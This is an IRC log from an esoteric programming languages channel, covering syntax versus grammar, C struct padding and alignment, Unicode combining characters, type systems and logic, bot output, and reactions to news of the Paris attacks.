12:18:51 <HackEgo> zomgmodules/ZOMGMODULES is both a small blonde veterinarian and just modules over the ring of ZOMGs.
12:19:07 <boily> Taneb: Tanelle. Did you tanebvent the ZOMGMODULES?
12:19:19 <boily> b_jonas: you know what your duty is.
12:19:34 <boily> ah! I had the conflagrated in my mind.
12:20:05 <boily> b_jonas: only one 'n' I think.
12:20:19 <b_jonas> boily: yes, it's "Cenobite"
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12:25:10 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: yoda: not found
12:30:55 <Jafet> `le/rn yoda/Yoda's oration, disordered always.
12:33:25 <b_jonas> Proper yodaism I don't think that is. End with the verb the sentence must.
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12:35:09 <mroman> `? Jogurth is the german word for a special kind of belt while doing Yoga.
12:35:10 <HackEgo> Jogurth is the german word for a special kind of belt while doing Yoga.? ¯\(°_o)/¯
12:35:20 <mroman> `? Jogurth is the german word for a special kind of belt worn while doing Yoga.
12:35:21 <HackEgo> Jogurth is the german word for a special kind of belt worn while doing Yoga.? ¯\(°_o)/¯
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12:57:14 <Jafet> A point that's good you make.
12:58:41 <Jafet> `le/rn yoda/Yoda object-verb dialogue adopts.
13:01:49 <Jafet> Hmm, it's even OSV.
13:09:16 <HackEgo> [wiki] [[ResPlicate]] http://esolangs.org/w/index.php?diff=45353&oldid=43846 * Quintopia * (+0) /* Truth-machine */
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13:30:01 <Jafet> The lord of life and dash.
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13:54:15 <b_jonas> subversion has reverse blame since 1.8 or since 1.9?
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13:57:25 <b_jonas> (if only there was a way to find out when a feature was added)
14:01:03 <b_jonas> 1.9 client, but requires 1.8 or later server
14:04:37 <b_jonas> I don't have stack space for this many nested problems when trying to fix another problem
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14:15:52 <mroman> You don't own the pineapple, you are the pineapple.
14:16:17 <mroman> also every time I read a pdf with large font this terminal font looks ridiculously small.
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14:20:07 <HackEgo> #!/usr/bin/perl -w \ if (defined($_=shift)) { s/ *$//; s/ +/ @ /g; exec "bin/@", $_ . " ? welcome"; } else { exec "bin/?", "welcome"; }
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14:20:58 <HackEgo> #!/bin/sh \ welcome "$@" | rainwords
14:21:07 <HackEgo> #!/usr/bin/perl -w \ if (defined($_=shift)) { s/ *$//; s/ +/ @ /g; exec "bin/@", $_ . " ? wercome"; } else { exec "bin/?", "wercome"; }
14:21:31 <HackEgo> ls: cannot access bin/?wercome: No such file or directory
14:21:39 <HackEgo> #!/bin/sh \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "$topic1" = "ngevd" \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" | rnooodl; \
14:21:49 <HackEgo> エソテリックプログラミング言語のディザインとデプロイメントの国際な場所へようこそ！詳しく、ウィキを見て： http://esolangs.org/wiki/Main_Page。（他のエソテリック、irc.dal.netの#esotericへ）
14:21:58 <mroman> oh so welcomes are wisdoms
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14:26:32 <HackEgo> [wiki] [[Aubergine]] http://esolangs.org/w/index.php?diff=45354&oldid=34878 * Quintopia * (+62) /* Examples */
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14:29:16 <mroman> A language isn't a language without a syntax and grammar?
14:30:17 <HackEgo> [wiki] [[Truth-machine]] http://esolangs.org/w/index.php?diff=45355&oldid=45234 * Quintopia * (+120) /* Implementations */
14:30:32 <HackEgo> [wiki] [[Truth-machine]] http://esolangs.org/w/index.php?diff=45356&oldid=45355 * Quintopia * (-1) /* Aubergine] */
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14:53:07 <Jafet> mromanes eunt domus!
14:57:27 <quintopia> mroman: i would say if there are no rules which the syntax must follow, then it is pretty much the same as no syntax
14:58:14 <quintopia> e.g. if there's no such concept as "a well-formed sentence"
14:59:50 <quintopia> and perhaps any language consisting only of no-argument commands in which no commands need matching commands
15:00:43 <quintopia> ResPlicate may qualify, if one chooses to call it a "language"
15:02:15 <mroman> most 2D languages don't have requirements such as "brackets need to match"
15:02:21 <mroman> if that qualifies as "no syntax" as well.
15:03:02 <mroman> but "brackets need to match" is grammar, not syntax actually :)
15:03:25 <quintopia> that distinction seems pretty blurry to me
15:03:27 <mroman> "isdo" are instructions, rest is comments is already a syntax
15:03:37 <mroman> quintopia: I don't know where exactly the line between syntax/grammar is.
15:03:47 <mroman> I think that's an arbitrary line more or less.
15:04:09 <mroman> except for syntax is what the lexer uses, grammar is what the parser uses
15:04:15 <mroman> but actually syntax is just a subset of grammar
15:04:30 <quintopia> insisting that [ come before ] is syntax
15:04:46 <quintopia> insisting that every [ have a corresponding ] is grammar
15:05:23 <mroman> integer = ? digit ?, { ? digit ? }
15:06:01 <mroman> may be equally well part of the syntax or the grammar
15:06:37 <mroman> binExp = integer, "+", integer
15:07:17 <quintopia> I found someone saying "A grammar is a set of rules that define the syntax for a particular language."
15:07:20 <mroman> syntax defines terminal symbols
15:07:24 <mroman> grammar defines non-terminal symbols?
15:08:31 <quintopia> i even have now found a distinction between "syntax grammar" and "semantics grammar"
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15:09:09 <mroman> the syntax defines what a valid terminal symbol is, and the grammar defines how you can build non-terminal symbols out of terminal symbols
15:10:55 <mroman> although technically, integer wouldn't be a terminal symbol in this example?
15:11:02 <mroman> If I remember the definition correctly :D
15:11:21 <quintopia> "Pragmatically, anyone who relies on a distinction between "syntactic" and "grammatical" had better say so and explain what they mean."
15:11:37 <fizzie> The "lexical syntax" term is often used for that sort of syntax.
15:12:56 <quintopia> So, in some sense, any language that does not specify how you are allowed to arrange symbols is both syntax-less and grammar-less
15:13:09 <quintopia> (up to what constitutes a single symbol)
15:13:09 <mroman> also compilers will tell you "syntax error" if you have unbalanced brackets
15:13:12 <mroman> and not "grammar error"
15:13:20 <mroman> grammar does not exist, only syntax.
15:13:57 <mroman> but grammar would be on a semantical level then
15:14:29 <quintopia> there is presumably also a system (e.g. type system) to define semantic grammar
15:14:36 <Jafet> A terminal symbol is where you can find a ✈ symbol.
15:16:03 <quintopia> A bad pun symbol is where you can find oerjan's ===\___/ symbol
15:16:10 <mroman> I think linguists have a different definition of syntax/grammar
15:16:45 <mroman> "Ich den Hund mag" is a grammatical error
15:16:53 <mroman> "Ich mag den Huhnd" is a spelling error.
15:17:00 <mroman> and I guess spelling errors are syntax errors
15:17:55 <quintopia> a grammarian would not consider a spelling error to be a syntax error, since syntax is about the arrangement of words, not the symbols that constitute them
15:18:10 <quintopia> but a programming language designer would consider it a syntax error
15:18:34 <mroman> "esle" would be parsed as an identifier.
15:18:38 <FireFly> I would say spelling error are lexical errors, and both lexical and grammar errors are syntax errors
15:18:53 <mroman> so depending on where you make the error it's actually not a syntax error but a semantical one
15:20:32 <mroman> I'm not qualified to discuss this topic :D
15:20:42 <HackEgo> [wiki] [[Cardinal]] http://esolangs.org/w/index.php?diff=45357&oldid=19561 * Martin Büttner * (+25)
15:20:50 <mroman> I'm only qualified to discuss indentity functions.
15:21:04 <b_jonas> Is there something like diff -b that also ignores changes in whitespace at the start of line, but not in the middle of words
15:21:12 <HackEgo> find: `wisdom/*diff*': No such file or directory \ /cat: : No such file or directory
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16:12:38 <Taneb> Awww, I don't pronounce "reform" like in the topic
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16:16:07 <Taneb> Here was the Tony Hoare lecture I went to the other day: https://www.youtube.com/watch?v=kz7DfbOuvOM
16:44:55 <Taneb> It is quite interesting
16:52:40 <Melvar> Is the first field of a C struct reliably at the same address as the struct itself?
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16:55:52 <Jafet> Yes, this is how C implements subtyping.
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17:02:13 <Melvar> Jafet: Thank you. Hmmmm…
17:03:06 <fizzie> How some people writing C do that, more like.
17:06:35 <Melvar> I’m writing code to discover things about C types, and pondering how much bootstrapping code in C I have to write.
17:07:36 <Jafet> Well, I suspect this behaviour was standardised with that usage in mind.
17:08:15 <fizzie> Possibly. The common initial subsequence rule certainly was.
17:09:38 <fizzie> Obligatory reference: C11 6.7.2.1p15: "A pointer to a structure object, suitably converted, points to its initial member (or [boring exception]), and vice versa."
17:09:55 <fizzie> The boring exception is about bitfields, which you can't point at.
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17:12:29 <Melvar> Hmm. While I’m at it: What happens if a struct member is declared as: 1. a fixed-size array 2. a non-sized array?
17:14:26 <fizzie> If it's declared with a fixed-size array, you have an array of that size in the struct.
17:14:45 <fizzie> If it's declared as an array with no size specifier, it's a "flexible array member", which has various restrictions and special behavior.
17:15:06 <fizzie> (E.g. it needs to be the last member, it's mostly ignored in considering the size of the structure except for possible padding, etc.)
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17:16:35 <mroman> (there might be padding/spacing in between struct members)
17:16:54 <fizzie> Flexible array members are intended for stuff like struct { size_t len; unsigned char data[]; } where you'd like to have some extra cruft in the same chunk of memory.
17:17:42 <Melvar> mroman: Right, which is why I need to have access to offsetof to get at any non-first member fully reliably.
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17:19:54 <fizzie> `cc struct a { char x; }; struct b { char x; double d[]; }; int main(void) { printf("%zu, %zu", sizeof (struct a), sizeof (struct b)); }
17:20:06 <fizzie> That's one case where the flexible array member actually makes a difference.
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17:25:30 <Melvar> Okay, given an array of sometype, is its stride equal to align(sizeof(sometype),alignof(sometype)), where align(x, a) = min{y : y ≥ x ∧ a | y} ?
17:28:01 <fizzie> Given an array of sometype, it's stride is equal to sizeof(sometype).
17:28:23 <fizzie> There's no padding inside an array.
17:32:38 <Melvar> `cc struct a { long long x, short y; }; int main(void) { struct a p[2]; printf("%zu, %td", sizeof(struct a), &p[1] - &p[0]); }
17:32:50 <HackEgo> <stdin>:1:25: error: expected identifier or ‘(’ before ‘short’ \ compilation terminated due to -Wfatal-errors.
17:33:04 <Melvar> `cc struct a { long long x; short y; }; int main(void) { struct a p[2]; printf("%zu, %td", sizeof(struct a), &p[1] - &p[0]); }
17:33:23 <Melvar> Ah, so the size is inflated.
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17:33:59 <Melvar> That is, the end of a struct is padded to its alignment?
17:34:58 <Melvar> `cc struct a { long long x; short y; }; int main(void) { struct a p[2]; printf("%zu, %td", sizeof(struct a), (void *)(&p[1]) - (void *)(&p[0])); }
17:35:04 <fizzie> Well, it could be padded "just because", too.
17:35:08 <fizzie> Also, what you wrote isn't standard.
17:35:31 <fizzie> It's using a GCC extension that defines sizeof (void) == 1, and pointer arithmetic on void * consistently with that.
17:35:56 <fizzie> You could use (char *)&p[1] - (char *)&p[0] to avoid a constraint violation.
17:36:22 <Melvar> Oh, you normally can’t pointer-arithmetic on (void *)?
17:36:53 <Melvar> But sizeof(char) is guaranteed to be 1, yes?
17:38:30 <Melvar> Not that what I’m doing doesn’t depend on gcc or clang being used in the first place …
17:39:34 <Melvar> In case it was unclear, I had thought the struct could be shorter so that its end wouldn’t be aligned.
17:42:50 <Melvar> Anyway, thanks for the help, I’ll be sure to show up again for more questions.
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18:08:10 <HackEgo> [wiki] [[Möbius]] http://esolangs.org/w/index.php?diff=45358&oldid=45352 * Hppavilion1 * (+1353) Formatting, removed stack mode, more commands
18:08:41 <HackEgo> [wiki] [[Möbius]] M http://esolangs.org/w/index.php?diff=45359&oldid=45358 * Hppavilion1 * (+3) Formatting
18:23:50 <HackEgo> [wiki] [[ADDI]] http://esolangs.org/w/index.php?diff=45360&oldid=45348 * Hppavilion1 * (-2) /* Hello World */ Fixed an example
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18:42:24 <HackEgo> [wiki] [[ADDI]] http://esolangs.org/w/index.php?diff=45361&oldid=45360 * Hppavilion1 * (+20) Made intro ω% better
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19:07:28 <HackEgo> [wiki] [[User:Hppavilion1/Data Models]] N http://esolangs.org/w/index.php?oldid=45362 * Hppavilion1 * (+139) Created Page
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20:08:39 <HackEgo> [wiki] [[User:Hppavilion1/UniFunge]] N http://esolangs.org/w/index.php?oldid=45363 * Hppavilion1 * (+776) Data Model
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20:48:01 <b_jonas> fungot, do you have an interesting data model for hppacilon[1]?
20:48:01 <fungot> b_jonas: 00:07 fizzie fnord fizbancolin man neksh
20:48:08 <fungot> b_jonas: your point being?
20:48:16 <fungot> b_jonas: http://schematics.sourceforge.net/ guide/ lang/ lisp/ impl/ fnord
20:53:23 <HackEgo> [wiki] [[User:Hppavilion1/UniFunge]] http://esolangs.org/w/index.php?diff=45364&oldid=45363 * Hppavilion1 * (+2042) Δ commands
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20:59:31 <hppavilion[1]> Unicode needs Combinatorial Arrows instead of just a million arrowy codepoints
21:00:45 <HackEgo> [wiki] [[User:Hppavilion1/UniFunge]] http://esolangs.org/w/index.php?diff=45365&oldid=45364 * Hppavilion1 * (+421) /* Commands */ MORE Δ
21:01:18 <HackEgo> [wiki] [[User:Hppavilion1/UniFunge]] M http://esolangs.org/w/index.php?diff=45366&oldid=45365 * Hppavilion1 * (+0) /* Commands */ Fixed formatting
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21:57:50 <HackEgo> [wiki] [[User:Hppavilion1/UniFunge]] http://esolangs.org/w/index.php?diff=45367&oldid=45366 * Hppavilion1 * (+386) /* Commands */ Concurrency
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22:09:31 <HackEgo> [wiki] [[Greentext]] http://esolangs.org/w/index.php?diff=45368&oldid=45341 * 160.3.110.148 * (-16)
22:20:05 <izabera> terrorists in paris killed 18 people
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22:29:49 <izabera> just read another headline that bumped the count to 40
22:33:15 <FireFly> <hppavilion[1>⋯ Unicode needs Combinatorial Arrows instead of just a million arrowy codepoints ← I've always thought that a codepoint put between two characters to signify overstriking/combining would make sense
22:33:30 <FireFly> So instead of having combining everything, you could have a(combine)^ for â
22:33:56 <FireFly> Essentially what backspace did back in the day with overstriking, except a font is free to use its own glyph for a(combine)^ rather than just literally overstriking it
22:34:04 <FireFly> but overstriking could be used as a fallback
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23:21:44 <coppro> https://www.reddit.com/live/vwwmdb26t78v
23:31:24 <HackEgo> [wiki] [[Special:Log/newusers]] create * GamrCorps * New user account
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23:42:04 <HackEgo> [wiki] [[Mothership]] http://esolangs.org/w/index.php?diff=45369&oldid=45109 * GamrCorps * (+137)
23:48:45 <HackEgo> [wiki] [[User:Hppavilion1/UniFunge]] http://esolangs.org/w/index.php?diff=45370&oldid=45367 * Hppavilion1 * (+90) /* Commands */
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00:04:02 <zzo38> That should be easily enough to do: In your font define one character to have a negative width and an empty glyph, and then define ligatures which can be use to have its own glyph for a(combine)^ if it has one.
00:05:52 <zzo38> No need to tamper with Unicode at all. My own idea about an advanced font metric format, you would be able to do these things, as well as implement the rules of Unicode too, and more.
00:09:02 <zzo38> I would have the metric file also be used to convert metrics into glyphs; the glyphs would be a separate format and can be independent of the metric format. Hyphenation is also separate, but may interact with metrics.
00:11:53 <HackEgo> [wiki] [[DStack]] http://esolangs.org/w/index.php?diff=45371&oldid=45295 * -Dark-Phantom- * (+13) /* Instructions */
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00:28:07 <hppavilion[1]> I think I'll develop a pseudo programming language made to help people learn programmatical thinking in an esoteric way
00:28:54 <hppavilion[1]> Either that or an RPG game engine. Or maybe they'll be merged.
00:33:50 <izabera> he'll develop an RPG game engine with a pseudo programming language made to help people learn programmatical thinking in an esoteric way, hth
00:42:52 <FireFly> zzo38: yes, but such a character would be a good substitute for many existing unicode characters. My suggestion was that it should've been designed that way from the start IMO
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00:43:59 <FireFly> And using negative width and an empty glyph would restrict it to only one font, and I don't think that would work at all with variable-width fonts?
00:46:42 <zzo38> You can add kerns to make it work with variable-width fonts. While it is restricted to having the accent in the same font as the letter, you can still use it with multiple fonts otherwise.
00:47:13 <zzo38> (And the "(combine)" character also has to exist in that font too)
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00:51:00 <Melvar> FireFly: I don’t think a character with such a squishy semantic would fly.
00:51:30 <Melvar> Also, you’d need to combine with ˆ, not ^, to get ̂.
00:52:21 <FireFly> We have combining characters already; I don't see how a dedicated "combine" character is worse than separate dedicated "combining foo" characters that we currently have
00:53:04 <FireFly> The one I proposed seems more flexible to me since in essence you get a combining version of every character for free
00:53:26 <FireFly> zzo38: good point about kerning. That would work
00:53:49 <Melvar> “for free”, hahahahaha!
00:54:20 <FireFly> Well. Of course, if you want it to look good the font has to manually support it as a ligature and design a glyph for it
00:55:08 <FireFly> But I mean in the sense that you don't have to request Unicode to allocate a combining character and then wait for a new Unicode standard
00:55:15 <zzo38> In kind of format I was describing you could do with dedicated combining characters too, but in a fixpitch font you may certainly include a backspace character as well
00:55:45 <Melvar> Of course you do! You still have to wait for the new standard which says that this combination is now defined as thus …
00:56:12 <zzo38> In my scheme you won't have to tamper with Unicode at all; you are not even required to use Unicode, although you can if you wish to, or even define an extension of Unicode in order to make it compatible with Unicode texts.
00:56:20 <Melvar> Else your stuff just says “you can’t combine these two”.
00:57:03 <zzo38> However, if you are using Unicode then you still need to define all of the relevant Unicode rules in the font metric file, that are applicable to your font (or use an include file, possibly)
00:57:16 <FireFly> That's why I suggested a fallback would be to just literally overstrike one glyph over the other (which would probably often not look good), and use something like ligatures for the ones supported
00:57:33 <Melvar> Or, alternatively, you get fonts deciding differently what some combination should mean, which counters the whole point of standardization.
00:58:05 <FireFly> I don't see how "a (combine) circumflex" could be interpreted as anything other than what's currently known as "a circumflex"
00:58:40 <FireFly> Melvar: don't we have the same issue today with things like "(random CJK glyph) (combining circumflex above)" ?
00:58:57 <FireFly> or, worse, (emoji) (combining circumflex above)
00:59:10 <zzo38> Melvar: If you wish the fonts to be comatible then you will define the font according to some standard that is matching other font using, but some font there is no point to do such thing so you would just define your own instead.
00:59:38 <FireFly> As far as I know, combining characters aren't restricted specially? and I can't imagine (all printables) × (all combining codepoints) are specified separately (× being cartesian product)
00:59:49 <Melvar> But we don’t have “right arrow (combine) up arrow” which could mean two things off the top of my head, and probably more.
01:00:55 <zzo38> It depends much on what interoperability is required.
01:01:03 <Melvar> Compare these two: ↲ ↵
01:01:25 <FireFly> is that "arrow down left" and "symbol for carriage return" or something?
01:01:57 <Melvar> DOWNWARDS ARROW WITH TIP LEFTWARDS and DOWNWARDS ARROW WITH CORNER LEFTWARDS, in fact.
01:02:37 <zzo38> If needed, just to write the document, and the font can say it follows that document. Unicode is one such kind of document; it may not define all such thing but may define many things, and some fonts may be defined according to multiple document, or according to none at all if they require unique symbols or whatever reason you might not need any.
01:02:47 <FireFly> They both look like triangles to me (the arrowhead I mean)
01:03:01 <Melvar> There’s additionally RETURN SYMBOL: ⏎
01:03:13 <Melvar> The difference is in the proportion of the two sections.
01:03:39 <FireFly> I guess one could have left arrow, short left arrow
01:04:13 <Melvar> Indeed, the latter of the two “may indicate a carriage return or new line”.
01:07:24 <Melvar> Oh, here’s ⤶ ARROW POINTING DOWNWARDS THEN CURVING LEFTWARDS which unlike those, curves instead of having a corner.
01:08:25 <hppavilion[1]> He stepped on the right of my keyboard, hitting "up" then "enter"
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01:18:44 <FreeFull> RETURN SYMBOL seems to be hollow
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01:32:40 <oerjan> @tell mroman <mroman> except for syntax is what the lexer uses, grammar is what the parser uses <-- that sounds to me like almost the exact opposite of the natural language meaning
01:33:18 <oerjan> @tell mroman because there, syntax is how you place words, but _not_ how words are composed.
01:33:43 <HackEgo> Gregor took forty cakes. He took 40 cakes. That's as many as four tens. And that's terrible.
01:36:46 <oerjan> damn, why do i have to @tell before finishing reading the conversation...
01:43:08 <\oren\> Jesus christ, paris is in martial law
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01:43:33 <\oren\> My mom has been calling people she knows there
01:44:19 <\oren\> they've declared a curfew and soldiers are searching the streets
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01:47:06 <zzo38> I have heard about stuff in Paris on the radio just few minutes ago
01:47:48 <\oren\> My mom has just confirmed at least that everyone she knows in paris is safe
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02:14:36 <lambdabot> CYQB 140200Z 24011KT 15SM FEW015 OVC063 04/02 A2940 RMK SC1SC7 SLP959
02:14:41 <lambdabot> ENVA 140150Z 11005KT CAVOK M00/M03 Q0993 RMK WIND 670FT 14008KT
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02:19:28 <lambdabot> CYYZ 140200Z 30016G24KT 15SM SCT034 OVC059 04/M01 A2980 RMK SC4SC4 VIA CYOW SLP094
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02:25:10 <boily> fungot. can't find anything about "VIA".
02:25:11 <fungot> boily: from two different systems.
02:25:21 <boily> fungot: it is so. Canadian METARs are weird.
02:25:22 <fungot> boily: not just for angsty 14-year-olds anymore
02:25:47 <boily> fungot: I haven't been 14 since twelve years ago.
02:25:47 <fungot> boily: out of curiosity, why would that matter?) it didn'
02:26:03 <boily> fungot: becose twelve years is a non-homeopathic span of time hth
02:26:04 <fungot> boily: haven't had anybody tell me where your source is at http://cvs.sourceforge.net/ viewcvs.py/ fnord but 404 on http://mitpress.mit.edu/ sicp/ this one?: check that first item of l1 is now size, and fills it with zeros?....
02:26:16 <boily> fungot: CVS? on SF? uuuuuurgh!
02:26:48 <boily> https://www.fltplan.com/abbreviations.htm seem to be a good source, with substantially more abbreviations than what's available on wikipédia, but nothing about VIA.
02:26:54 * boily grmbls and mumbles and rants
02:28:05 <boily> oh wait! it's there! "BY WAY OF". the bastards.
02:28:17 <boily> pikhelloq. hah to you too :P
02:28:54 <boily> so what is via Ottawa. there are federal clouds invading Toronto?
02:29:43 <boily> \oren\: do you think Justing owns a weather machine and is controlling Ontarian climate?
02:29:54 <boily> s/Junsting/Justin/
02:42:02 <HackEgo> [wiki] [[ResPlicate]] http://esolangs.org/w/index.php?diff=45372&oldid=45353 * Quintopia * (+0) /* Truth-machine */ The previous edit to this was a mistake.
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03:09:32 <izabera> this is a 10 years step back in international negotiations
03:09:46 <izabera> now with the migrant crisis
03:11:32 <izabera> police reported all the attackers have been killed
03:13:57 <FireFly> I agree, re. step back in international negotiations
03:14:22 <FireFly> I wonder if the consequences of this will be akin to those for 9/11 in some sense
03:15:26 <\oren\> Marine le pen might become the leader of france in the next election
03:17:27 <\oren\> France has an aircraft carrier and their own fighter jets. it's certainly not unthinkable that they could cooperate with putin to wipe out Daesh/ISIS/ISIL/WTFBBQ
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03:29:14 <coppro> \oren\: NATO article 5 could be invoked
03:29:20 <zzo38> Muslims should need to work to defeat them too
03:30:11 <zzo38> Of course everyone does but Muslims especially should go against ISIS/ISIL/Daesh
03:36:50 <izabera> is there any estimate of the number of people in those groups?
03:38:57 * izabera found the answer on google and it's 200k
03:42:44 <zzo38> Probably they are, yes. But what I am saying is everyone (whether Christian, atheist, etc) can go against them, but primarily it seem it would be job of Muslims. This way might result in being very defeated instead of just being defeated, or maybe I am unclear or confuse or something else
03:47:28 <izabera> what's the difference between defeated and very defeated?
03:51:40 <doesthiswork> if you can't spin your defeat into martyrdom then you are very defeated.
03:52:04 <FireFly> izabera: huh, I would guess a lot more considering how big a territory the control
03:53:55 <zzo38> izabera: I am not completely sure what it is nor do I know how to explain even if I do know, that is why I say I am a bit confused. But you other people on here are also making some points about it too; it isn't everything but they are some points too anyways.
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03:57:46 <\oren\> https://www.youtube.com/watch?v=VpNvGNRlFaE
03:58:01 <HackEgo> [wiki] [[Aubergine]] http://esolangs.org/w/index.php?diff=45373&oldid=45354 * Quintopia * (+29) /* Examples */
03:59:21 <izabera> why am i watching a video like that
04:01:25 <\oren\> It's nice isn't it? Celtic-style folk music
04:01:43 <izabera> yeah they're much better than i thought at first
04:02:48 <Sgeo> Why does this subreddit exist https://www.reddit.com/r/truetictactoe
04:02:54 <Sgeo> I guess it's a parody of game subreddits?
04:04:32 <izabera> doesn't even look like a parody
04:04:51 <Sgeo> izabera, X was nerfed?
04:05:31 <Sgeo> https://www.reddit.com/r/TrueTicTacToe/comments/3gdw6x/im_new_here_can_someone_explain_me_all_the_rules/
04:05:38 <Sgeo> "IMO you really should watch about 50-60 hours of pro streams on twitch and read every guide on every forum, then get to where you can beat 2 insane/cheater AI at once before you even consider a real game. You're just going to frustrate everyone else around you."
04:06:00 <FireFly> Their headwear reminds me of moonbowmusicmovie: https://www.youtube.com/watch?v=SG7yuQ9MQ2s
04:06:34 <Sgeo> Some genuinely interesting things though
04:07:01 <zzo38> Is there the SQL RPG engine?
04:07:10 <Sgeo> Pure CSS tic-tac-toe
04:07:21 <FireFly> (they do a lot of acoustic arranges of videogame music too)
04:07:30 <zzo38> To make RPG computer game with SQL, using the game engine program to support such thing
04:07:31 <Sgeo> (Well, actually different source that gets compiled into CSS I think)
04:08:17 <FireFly> \oren\: you might enjoy https://www.youtube.com/watch?v=eIV70shV8Sw
04:13:52 <zzo38> OK, now my DVI->PBM program is working!!!
04:15:49 <zzo38> Do you mean goal of such program?
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04:17:47 <zzo38> It is to convert DVI into PBM.
04:18:07 <zzo38> One use of such a thing would be to print on printers that use host-based printing.
04:18:31 <hppavilion[1]> How do type systems correspond to logic systems? Anyone have a paper on that?
04:18:56 <FireFly> Wadler has a talk on.. er, not on that, but one slide has a table about that
04:18:56 <zzo38> hppavilion[1]: I wanted to know that too.
04:20:00 <FireFly> Hmm, actually the part on temporal logic might've been something he mentioned was still an open problem
04:20:40 <hppavilion[1]> FireFly: I expressed what I was saying properly, correct? Like, I've heard that most languages are based on classical logic
04:20:46 <zzo38> hppavilion[2]: Both
04:21:05 <hppavilion[1]> zzo38: Ah. Temporal type system? I've heard that that's reactive programming
04:21:25 <zzo38> But can it be explained how that works?
04:21:40 <FireFly> https://www.youtube.com/watch?v=IOiZatlZtGU#t=40m30s has a table mentioning some different (logic, type system) pairs
04:21:41 <zzo38> I have heard that too, but it does not explain how that is.
04:22:02 <hppavilion[1]> Are there any types of logic cooler than temporal logic?
04:22:32 <FireFly> At least a lot more weird than its name would suggest
04:22:57 <FireFly> Featuring concepts such as "of course" and "why not", I would say it might classify as an esologic
04:23:00 <oerjan> hppavilion[1]: most languages are based on _intuitionistic_ logic. i'm pretty sure i mentioned that last this was discussed.
04:23:23 <oerjan> for a certain value of "based"
04:23:42 <zzo38> With classical logic, can make continuations too
04:24:08 <doesthiswork> \oren\ the floating cloud video is interesting, as it continued it sounded more and more strange because it didn't have the structure I expected
04:25:56 <hppavilion[1]> zzo38: Like, could Linear Temporal logic be a thing?
04:27:43 <hppavilion[1]> https://en.wikipedia.org/wiki/Linear_temporal_logic
04:30:40 <hppavilion[1]> Esolang idea: Type system based on Linear-Temporal-Quantum-Probabalistic Logic.
04:40:12 <hppavilion[1]> Are there any useful constructions that use Graph Theory as a "Foundations of Mathematics"?
04:40:22 <hppavilion[1]> For example, arithmetic defined in terms of graphs?
04:44:06 <FireFly> You could probably define integers based on the length of lists (c.f. cardinality of sets), and lists without duplicates are a special case of graphs (straight-line graphs)
04:44:38 <FireFly> so if nothing else you could probably do it like that, but that's kinda boring
04:48:28 <hppavilion[1]> I want to try to make a language vaguely inspired by formal logic. Probably won't turn out very well, but I'm at least going to try.
04:49:45 <hppavilion[1]> I'm going to mix various types of logic into a strange, homogenous, disgusting mesh.
04:49:55 <hppavilion[1]> Which I guess is kind of in the spirit of this channel
05:01:48 <oerjan> hppavilion[1]: quantum logic is weird, i once looked at it from this perspective, but it has this strange orthomodular rule that simply doesn't fit in a sensible way.
05:02:19 <oerjan> and is otherwise _very_ limited.
05:02:43 <HackEgo> [wiki] [[Category:Quantum computing]] N http://esolangs.org/w/index.php?oldid=45374 * Hppavilion1 * (+133) Created page because why the fuck did this not exist already
05:02:47 <oerjan> because any two things tend to be incompatible.
05:03:20 <oerjan> hppavilion[1]: um i should have said this long ago, but you _do_ know we have a rule against creating categories without discussion, right?
05:03:50 <oerjan> unless it was repealed in some part of my wiki backlog
05:04:11 <hppavilion[1]> oerjan: I did not think this needed discussion. We have >2 languages that are quantum, and quantum computing is, like, Esolangs taken seriously. But sorry.
05:04:32 <zzo38> Why do the fonts look better in my program than in xdvi? Is xdvi using PostScript fonts instead of bitmap fonts, or something else like that, or what else?
05:04:57 <hppavilion[1]> zzo38: Do you think we needed a category for quantum languages?
05:06:57 <zzo38> hppavilion[1]: I believe it would be a good idea yes. However, the discussion for that is supposed to go on the wiki, I think.
05:07:24 <oerjan> hppavilion[1]: https://esolangs.org/wiki/Esolang_talk:Categorization to be precise
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05:09:52 <oerjan> i'm not sure that works. the limits of quantum logic are to do with combining things...
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05:10:49 <oerjan> related to the heisenberg uncertainty in real physics ... you cannot measure all pairs of observables precisely
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05:12:08 <hppavilion[1]> Well... how does normal probabalistic combinatory logic work?
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05:13:52 <hppavilion[1]> oerjan: Shall I go invent that? Probabilistic turing machines are easier to understand than quantum turing machines, and once I get my head fully wrapped around CL being TC I'll know what I'm doing
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05:15:20 <oerjan> btw the types corresponding to quantum logic almost certainly wouldn't be the same as what a quantum computer can compute
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05:21:39 <hppavilion[1]> That seems like it ought to be Probabilistic enough xD
05:22:01 <hppavilion[1]> Sorry, I'm just not great with proofs and stuff yet xD
05:25:27 <zzo38> I did make up a esolang based on formal sequent calculus logic
05:27:07 <zzo38> And want to learn how to make the similar one with the sequent calculus of linear logic too
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05:42:10 <zzo38> It look like my dvipbm program is not quite perfect yet; there are still a few more things to fix, such as I get spurious rules on a page somehow
05:44:05 <hppavilion[1]> Maybe a ? combinator would be better, where ?xy=Ix|Iy
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05:45:52 <hppavilion[1]> I originally thought of a C (or something) combinator where C=S|K|I, but then I realized that was utterly idiotic of me
05:48:04 <hppavilion[1]> I think ? is probably better than R. R is just stupid, AND can be defined as Rxy = S (S (K (S (K S) K)) S) (K K) I xy, or something along those lines.
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05:56:18 <hppavilion[1]> Wait, it's not as easy now that I've remembered that
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05:58:52 <HackEgo> [wiki] [[Probabilistic combinatory logic]] N http://esolangs.org/w/index.php?oldid=45375 * Hppavilion1 * (+793) Created Page
06:03:05 <HackEgo> [wiki] [[Probabilistic combinatory logic]] http://esolangs.org/w/index.php?diff=45376&oldid=45375 * Hppavilion1 * (+197) Fixed section because I'm bad at math
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06:22:04 <zzo38> What is a esogong?
06:24:03 <hppavilion[1]> lifthrasiir: That is perhaps in bad taste, depending on exactly what went down in paris
06:24:17 <hppavilion[1]> I'm not sure exactly what happened though, so that might be OK
06:25:00 <lifthrasiir> hppavilion[1]: oops, didn't intend that at all, but probably inappropriate.
06:25:21 <hppavilion[1]> lifthrasiir: Probably. Was the stuff in paris bombings or shootings or other?
06:25:40 <lifthrasiir> (was just thinking about an appropriate combination of <verb>s the eso<noun>)
06:25:52 <hppavilion[1]> Probably bombings, given that they're terrorists. Bombs are the most effective terrorist weapon oftentimes. They cause a lot of, y'know, terror.
